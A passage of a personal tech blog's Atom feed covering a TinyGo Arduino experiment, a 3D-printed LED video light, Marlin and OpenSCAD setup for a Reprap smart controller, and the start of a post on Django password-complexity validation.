&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="nx"&gt;lcd&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Print&lt;/span&gt;&lt;span class="p"&gt;([]&lt;/span&gt;&lt;span class="nb"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;strconv&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Itoa&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;counter&lt;/span&gt;&lt;span class="p"&gt;))))&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nx"&gt;counter&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This code compiles With the following parameters&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;$ &lt;/span&gt;tinygo build -scheduler&lt;span class="o"&gt;=&lt;/span&gt;tasks -target&lt;span class="o"&gt;=&lt;/span&gt;arduino-nano-new -o main_counter_nano.hex ./main_counter.go
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="conclusion"&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;Learning a new programming language is exciting, but it also means that I don't have all the knowledge about debugging the specific toolchain. In addition, working on a platform that I'm not familiar with doesn't help; there are just too many unknowns.&lt;/p&gt;
&lt;p&gt;I should probably get one of the better supported boards and try this again. At least then I will know for sure if I'm making an error.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt; 2023-11-25 Rasberry Pi Pico, a board of choice for tiny go and many similar projects, seem to be widely availabe now. I was able to order a coupe for $4 CAD a piece from a local distributor.&lt;/p&gt;
&lt;/div&gt;
</content><category term="misc"></category><category term="golang"></category><category term="arduino"></category><category term="tinygo"></category></entry><entry><title>3D-printed DIY LED light</title><link href="https://flamy.ca/blog/2021-09-12-2021-09-12-3d-printed-diy-led-light..html" rel="alternate"></link><published>2021-09-12T00:00:00-04:00</published><updated>2021-09-12T00:00:00-04:00</updated><author><name>Alex Volkov</name></author><id>tag:flamy.ca,2021-09-12:/blog/2021-09-12-2021-09-12-3d-printed-diy-led-light..html</id><summary type="html">&lt;div class="section" id="summary"&gt;
&lt;h2&gt;Summary&lt;/h2&gt;
&lt;p&gt;I think I just went through the exercise when anyone who buys a 3d-printed and seriously gets into CAD software does -- design his own lamp.&lt;/p&gt;
&lt;p&gt;I built my video light, because this is what I'm using it for.&lt;/p&gt;
&lt;p&gt;Here's the video of the assembly process&lt;/p&gt;
&lt;iframe width="560" height="315" sandbox="allow-same-origin allow-scripts allow-popups" title="DIY LED COB 3d-printed lamp" src="https://diode.zone/videos/embed/c7cf3ced-5f8f-46f2-84ae-5ee8449772f2" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;&lt;p&gt;&lt;a class="reference external" href="https://youtu.be/Z73P1m69v28"&gt;DIY LED COB 3d-printed …&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;</summary><content type="html">&lt;div class="section" id="summary"&gt;
&lt;h2&gt;Summary&lt;/h2&gt;
&lt;p&gt;I think I just went through the exercise when anyone who buys a 3d-printed and seriously gets into CAD software does -- design his own lamp.&lt;/p&gt;
&lt;p&gt;I built my video light, because this is what I'm using it for.&lt;/p&gt;
&lt;p&gt;Here's the video of the assembly process&lt;/p&gt;
&lt;iframe width="560" height="315" sandbox="allow-same-origin allow-scripts allow-popups" title="DIY LED COB 3d-printed lamp" src="https://diode.zone/videos/embed/c7cf3ced-5f8f-46f2-84ae-5ee8449772f2" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;&lt;p&gt;&lt;a class="reference external" href="https://youtu.be/Z73P1m69v28"&gt;DIY LED COB 3d-printed lamp on youtube&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Here's the brief walk trough the source code.&lt;/p&gt;
&lt;iframe width="560" height="315" sandbox="allow-same-origin allow-scripts allow-popups" title="DIY LED COB 3d-printed lamp openscad design walkthrough" src="https://diode.zone/videos/embed/7862be50-a5d7-44f2-930f-996ec9b846e1" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;&lt;p&gt;&lt;a class="reference external" href="https://youtu.be/j-rJF48ah_U"&gt;DIY LED COB 3d-printed lamp openscad design walkthrough on youtube&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="design-source-code"&gt;
&lt;h2&gt;Design &amp;amp; Source Code&lt;/h2&gt;
&lt;p&gt;I worked on the project on and off, rewriting the design once, and learning a lot of things in-between, so it has some old openscad paradigms, like removing cubes from cubes; and some of the more recent things -- like using primitives from NopSCADlib.&lt;/p&gt;
&lt;p&gt;Here is the source code for the lamp -- &lt;a class="reference external" href="https://github.com/avolkov/openscad-designs/tree/master/video-light"&gt;https://github.com/avolkov/openscad-designs/tree/master/video-light&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Print files with descriptions on prusaprinters -- &lt;a class="reference external" href="https://www.prusaprinters.org/prints/75338-diy-100w-led-cob-video-light"&gt;https://www.prusaprinters.org/prints/75338-diy-100w-led-cob-video-light&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Print files with descriptions for the articulated mount on prusaprinters -- &lt;a class="reference external" href="https://www.prusaprinters.org/prints/75428-articulated-mount-for-light-stand-bracket"&gt;https://www.prusaprinters.org/prints/75428-articulated-mount-for-light-stand-bracket&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;All of my code is is under Attribution-ShareAlike 4.0 International (CC BY-SA)  &lt;a class="reference external" href="https://creativecommons.org/licenses/by-sa/4.0/"&gt;https://creativecommons.org/licenses/by-sa/4.0/&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The original bowens mount is under Creative Commons attribution license, made by hasherdk and can be found here -- &lt;a class="reference external" href="https://www.thingiverse.com/thing:3824025"&gt;https://www.thingiverse.com/thing:3824025&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="bom"&gt;
&lt;h2&gt;BOM&lt;/h2&gt;
&lt;div class="section" id="hardware"&gt;
&lt;h3&gt;Hardware&lt;/h3&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;4x M8 40mm bolts&lt;/li&gt;
&lt;li&gt;4x M8 nuts&lt;/li&gt;
&lt;li&gt;2x M3 10mm bolts for mounting handle&lt;/li&gt;
&lt;li&gt;2x M3 30mm bolts for 12v power module&lt;/li&gt;
&lt;li&gt;2x M3 35/40mm bolts for led driver&lt;/li&gt;
&lt;li&gt;4x M3 nuts for holders of power modules&lt;/li&gt;
&lt;li&gt;2x M5 14/16mm bolts for attaching articulater mount&lt;/li&gt;
&lt;li&gt;2x M5 nuts for attaching articulated mount&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class="section" id="electrical"&gt;
&lt;h3&gt;Electrical&lt;/h3&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;1x 100W LED COB&lt;/li&gt;
&lt;li&gt;1x 100W LED COB driver (I got 40W one by mistake)&lt;/li&gt;
&lt;li&gt;1x 100W LED Aluminium heat sink with 80mm fan and 60 degree 44mm lens, with bolts for mounting lens and light COB.&lt;/li&gt;
&lt;li&gt;2x Latching toggle switch&lt;/li&gt;
&lt;li&gt;1x 12v DC power supply (I sacrificed a 12V 1A wall wart from a long-dead external hard drive)&lt;/li&gt;
&lt;li&gt;1x 5x7 Prototyping board&lt;/li&gt;
&lt;li&gt;3x JST 2-pin male connector&lt;/li&gt;
&lt;li&gt;3x JST 2-pin female connector&lt;/li&gt;
&lt;li&gt;1x 2-wire extension cord&lt;/li&gt;
&lt;li&gt;2x 3-contact wago connector&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class="section" id="d-printing-material"&gt;
&lt;h3&gt;3D printing material&lt;/h3&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Bowens mount is made out of ABS&lt;/li&gt;
&lt;li&gt;Shell is made out of PLA. Always turn on a fan or the shell will melt.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="conclusions-and-updates"&gt;
&lt;h2&gt;Conclusions and updates&lt;/h2&gt;
&lt;p&gt;Making this was fun. When I tried out the lamp it turned out to be pretty useful, but I found the following things that can be improved&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Ground the heat sink. It's only 36V 1.5A, but safety first.&lt;/li&gt;
&lt;li&gt;Replace extension cord 2-wire cable with a proper IEC 320 C14 socket, that would also bring a ground wire into the shell&lt;/li&gt;
&lt;li&gt;Wiring for the led cob should be routed better&lt;/li&gt;
&lt;li&gt;Fan should be either automatically regulated or always on, I already forgot to turn it on once and it almost melted the case.&lt;/li&gt;
&lt;li&gt;Using PWM regulators between LED driver and COB may let me adjust light intensity&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
</content><category term="misc"></category><category term="3d printing"></category><category term="openscad"></category></entry><entry><title>What I learned setting up Reprap Discount Smart Controller</title><link href="https://flamy.ca/blog/2021-07-01-2021-07-01-repra-smart-controller-marlin-openscad.html" rel="alternate"></link><published>2021-07-01T00:00:00-04:00</published><updated>2021-07-01T00:00:00-04:00</updated><author><name>Alex Volkov</name></author><id>tag:flamy.ca,2021-07-01:/blog/2021-07-01-2021-07-01-repra-smart-controller-marlin-openscad.html</id><summary type="html">&lt;iframe width="560" height="315" sandbox="allow-same-origin allow-scripts allow-popups" title="ReprapDiscount Full Graphic Smart Controller install &amp;amp; config for Marlin 1.X | Bear Upgrade" src="https://diode.zone/videos/embed/26c68fec-6646-4759-9c71-76a6639a27dc" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;&lt;p&gt;&lt;a class="reference external" href="https://youtu.be/fnfBfmSuwZ0"&gt;ReprapDiscount Full Graphic Smart Controller install on youtube&lt;/a&gt;&lt;/p&gt;
&lt;div class="section" id="references"&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;a class="reference external" href="https://reprap.org/wiki/RepRapDiscount_Full_Graphic_Smart_Controller"&gt;Reprap Wiki page on Discount Full Graphic Smart Controller&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="https://www.robotdigg.com/crab/image/2017/11/14/31ebf8d0ab6c7ba3e676ab964d1e15de.png"&gt;MKS GEN 1.4 Schematic url&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class="section" id="discount-full-graphic-smart-controller-marlin-variables"&gt;
&lt;h2&gt;Discount Full Graphic Smart Controller Marlin variables&lt;/h2&gt;
&lt;p&gt;I've been working with Marlin 1.1.8 configuration starting from scratch and it took surprising amount of effort …&lt;/p&gt;&lt;/div&gt;</summary><content type="html">&lt;iframe width="560" height="315" sandbox="allow-same-origin allow-scripts allow-popups" title="ReprapDiscount Full Graphic Smart Controller install &amp;amp; config for Marlin 1.X | Bear Upgrade" src="https://diode.zone/videos/embed/26c68fec-6646-4759-9c71-76a6639a27dc" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;&lt;p&gt;&lt;a class="reference external" href="https://youtu.be/fnfBfmSuwZ0"&gt;ReprapDiscount Full Graphic Smart Controller install on youtube&lt;/a&gt;&lt;/p&gt;
&lt;div class="section" id="references"&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;a class="reference external" href="https://reprap.org/wiki/RepRapDiscount_Full_Graphic_Smart_Controller"&gt;Reprap Wiki page on Discount Full Graphic Smart Controller&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="https://www.robotdigg.com/crab/image/2017/11/14/31ebf8d0ab6c7ba3e676ab964d1e15de.png"&gt;MKS GEN 1.4 Schematic url&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class="section" id="discount-full-graphic-smart-controller-marlin-variables"&gt;
&lt;h2&gt;Discount Full Graphic Smart Controller Marlin variables&lt;/h2&gt;
&lt;p&gt;I've been working with Marlin 1.1.8 configuration starting from scratch and it took surprising amount of effort to find the correct variables to enable the screen.&lt;/p&gt;
&lt;p&gt;This particular screen is used on Creality Ender 3, so it might have been easier to look at their default marlin config.&lt;/p&gt;
&lt;p&gt;The video above goes in other details what dependencies Arduino IDE needs in order to compile screen config, but as far as Marlin setup is concerned, all it takes is defining the following two variables in configuration Configuration.h&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="cp"&gt;#define REPRAP_DISCOUNT_FULL_GRAPHIC_SMART_CONTROLLER&lt;/span&gt;
&lt;span class="cp"&gt;#define SDCARD&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="smart-controller-box"&gt;
&lt;h2&gt;Smart Controller box&lt;/h2&gt;
&lt;p&gt;I could not detach the plastic knob from the rotary encoder stick.&lt;/p&gt;
&lt;p&gt;Instead of using force and possibly breaking knob, encoder, screen or all of the above; I redesigned the smart controller box to have a bigger opening for so the whole knob would fit through it.&lt;/p&gt;
&lt;p&gt;This may not look as neat as the original design, but it works.&lt;/p&gt;
&lt;img alt="Reprap discount box model" class="align-center" src="/images/2021-07-01/discount_box.png" /&gt;
&lt;div class="section" id="design-files"&gt;
&lt;h3&gt;Design files&lt;/h3&gt;
&lt;p&gt;&lt;a class="reference external" href="https://www.thingiverse.com/thing:861091"&gt;Original ReprapDiscount Full Graphic Smart Controller Box in OpenSCAD box&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Modified ReprapDiscount Full Graphic Smart Controller Box (top part)&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;a class="reference external" href="https://github.com/avolkov/openscad-designs/blob/master/reprapdiscount_full/reprapdiscount_full_graphic_smart_controller_box.scad"&gt;Box OpenScad&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="https://github.com/avolkov/openscad-designs/blob/master/reprapdiscount_full/stl/reprapdiscount_full_graphic_smart_controller_lcdbox_top.stl"&gt;Box STL&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class="section" id="wildcard-prefix"&gt;
&lt;h3&gt;wildcard prefix&lt;/h3&gt;
&lt;p&gt;Reading the code for the box for the controller, &lt;tt class="docutils literal"&gt;*&lt;/tt&gt; wildcard character as a prefix is used to disable the following statement, or as the &lt;a class="reference external" href="https://en.wikibooks.org/wiki/OpenSCAD_User_Manual/Modifier_Characters#Disable_Modifier"&gt;documentation&lt;/a&gt; refers to it, entire subtree.&lt;/p&gt;
&lt;p&gt;In the snippet below only &lt;tt class="docutils literal"&gt;lcdbox_top()&lt;/tt&gt; is executed.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;lcdbox_top();
*lcdbox_bottom();
*lcdbox_knob();
*translate([0,(nut_m3[0]+stable_wall*2)/2+1,0]) lcdbox_mount();
*translate([0,-extrusion_width/2-1,0]) lcdbox_mount_bottom();
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="degree-screen-mount"&gt;
&lt;h2&gt;30-degree screen mount&lt;/h2&gt;
&lt;p&gt;I wanted to have a single printer part mount for the screen at 30 degrees that would fit more-or-less snug into a 2020 slot using the the hardware I have. This design needs an extra 10mm M5 bolt and an M5 T-nut.&lt;/p&gt;
&lt;p&gt;I've been using the screen in this configuration for a few months and I haven't felt any need to adjust its angle. I believe the design serves its purpose.&lt;/p&gt;
&lt;img alt="vertical print of the shape at 0.3mm Z resolution" class="align-center" src="/images/2021-07-01/alu_printed_03mm_layer_height.JPG" /&gt;
&lt;p&gt;The part above was printed with 0.5mm nozzle at 0.3mm Z height using PETG.&lt;/p&gt;
&lt;div class="section" id="design-files-1"&gt;
&lt;h3&gt;Design files&lt;/h3&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;a class="reference external" href="https://github.com/avolkov/openscad-designs/blob/master/reprapdiscount_full/mount_foot.scad"&gt;Screen mount OpenScad&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="https://github.com/avolkov/openscad-designs/blob/master/reprapdiscount_full/stl/mount_foot_alu.stl"&gt;Screen mount with 2020 profile STL&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="https://github.com/avolkov/openscad-designs/blob/master/reprapdiscount_full/stl/mount_foot.stl"&gt;Screen mount for flat surface STL&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class="section" id="polygon-linear-extrude"&gt;
&lt;h3&gt;Polygon &amp;amp; linear extrude&lt;/h3&gt;
&lt;p&gt;To go beyond just using primitive solids in openscad, polygon and linear_extrude come really handy.&lt;/p&gt;
&lt;p&gt;In the case of screen leg holder, I used this to create a protrusion that goes into 2020 Alu profile channel. First create a shape that fits into profile gap, I measured some of the Bear Upgrade printed parts, with the height of 2mm base of the shape 8mm and the top of 4mm.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;polygon(points=[[0,0], [2,1.5], [2, 6.5], [0, 8]]);
&lt;/pre&gt;&lt;/div&gt;
&lt;img alt="2-d representation of aluminium profile" src="/images/2021-07-01/alu_profile_trapezoid.png" /&gt;
&lt;p&gt;Then extruding that shape in Z direction usingl &lt;tt class="docutils literal"&gt;linear_extrude&lt;/tt&gt; will produce a 40mm-long section that will fit into the aluminium extrusion.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;linear_extrude(40)
    polygon(points=[[0,0], [2,1.5], [2, 6.5], [0, 8]]);
&lt;/pre&gt;&lt;/div&gt;
&lt;img alt="extruded 40mm trapezoid in z-dimension" src="/images/2021-07-01/alu_profile_extruded_trapezoid.png" /&gt;
&lt;p&gt;The resulting part fits in ALU slot profile with some play, before M5 bolt is fully tightened. I need to adjust the tolerances to make it fit snugly when tightening the bolt, but what I have is definitely usable.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
</content><category term="3d-printing, marlin, openscad"></category><category term="3d printing"></category><category term="openscad"></category><category term="reprap"></category><category term="bear upgrade"></category></entry><entry><title>Django config for implementing a password policy</title><link href="https://flamy.ca/blog/2021-04-21-django-config-for-implementing-a-password-policy.html" rel="alternate"></link><published>2021-04-21T00:00:00-04:00</published><updated>2021-04-21T00:00:00-04:00</updated><author><name>Alex Volkov</name></author><id>tag:flamy.ca,2021-04-21:/blog/2021-04-21-django-config-for-implementing-a-password-policy.html</id><summary type="html">&lt;p class="first last"&gt;A quick rundown on how to check user password for compliance and enforce password security for Django Admin users.&lt;/p&gt;
</summary><content type="html">&lt;div class="section" id="intro"&gt;
&lt;h2&gt;Intro&lt;/h2&gt;
&lt;p&gt;I needed to added some password checks from the security department for the website I develop using Django 3.0 created with django-cookiecutter.&lt;/p&gt;
&lt;p&gt;The authentication set up in such a way that there is no signup for admin account, all accounts are created manually by the superuser. The user password activation and reset email is already handled by &lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;django-allauth&lt;/span&gt;&lt;/tt&gt;.&lt;/p&gt;
&lt;p&gt;The most of the password compliance rules are already built-in and enabled by default in Django, but there are several that are not, two in particular are covered in this article:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Password complexity enforcement.&lt;/li&gt;
&lt;li&gt;Forcing the user with admin access to reset password, if the password has been set by site admin (superuser) when the user account was created.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;As convention, I will use &lt;tt class="docutils literal"&gt;&amp;lt;project&amp;gt;&lt;/tt&gt; as a placeholder for project name, that would also serve as a root folder for the file paths.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="password-complexity-enforcement"&gt;
&lt;h2&gt;Password Complexity enforcement&lt;/h2&gt;
&lt;p&gt;To enable default password validation from the relevant documentation &lt;a class="footnote-reference" href="#footnote-1" id="footnote-reference-1"&gt;[1]&lt;/a&gt; the following was added to the &lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;&amp;lt;project&amp;gt;/config/settings/base.py&lt;/span&gt;&lt;/tt&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;AUTH_PASSWORD_VALIDATORS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="s1"&gt;&amp;#39;NAME&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;django.contrib.auth.password_validation.UserAttributeSimilarityValidator&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="s1"&gt;&amp;#39;NAME&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;django.contrib.auth.password_validation.MinimumLengthValidator&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s1"&gt;&amp;#39;OPTIONS&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="s1"&gt;&amp;#39;min_length&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="s1"&gt;&amp;#39;NAME&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;django.contrib.auth.password_validation.CommonPasswordValidator&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="s1"&gt;&amp;#39;NAME&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;django.contrib.auth.password_validation.NumericPasswordValidator&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The requirements, however went a little bit further and outlined the need to confirm that the password contain an upper case, lower case and a number. The working implementation was the following:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;django.core.exceptions&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;ValidationError&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;django.utils.translation&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;gettext&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt;


&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;DigitLowerUpperValidator&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;password_requirements&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="s2"&gt;&amp;quot;The password must to contain at least one digit, lower case and &amp;quot;&lt;/span&gt;
        &lt;span class="s2"&gt;&amp;quot;upper case letter&amp;quot;&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;validate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="c1"&gt;# number in string&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="nb"&gt;any&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;isdigit&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
            &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="n"&gt;ValidationError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;password_requirements&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="c1"&gt;# lower in string&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="nb"&gt;any&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;islower&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
            &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="n"&gt;ValidationError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;password_requirements&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="c1"&gt;# upper in stirng&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="nb"&gt;any&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;isupper&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
            &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="n"&gt;ValidationError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;password_requirements&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_help_text&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
            &lt;span class="s2"&gt;&amp;quot;The password must contain at least one upper case, &amp;quot;&lt;/span&gt;
            &lt;span class="s2"&gt;&amp;quot;lower case letter and at least a digit&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
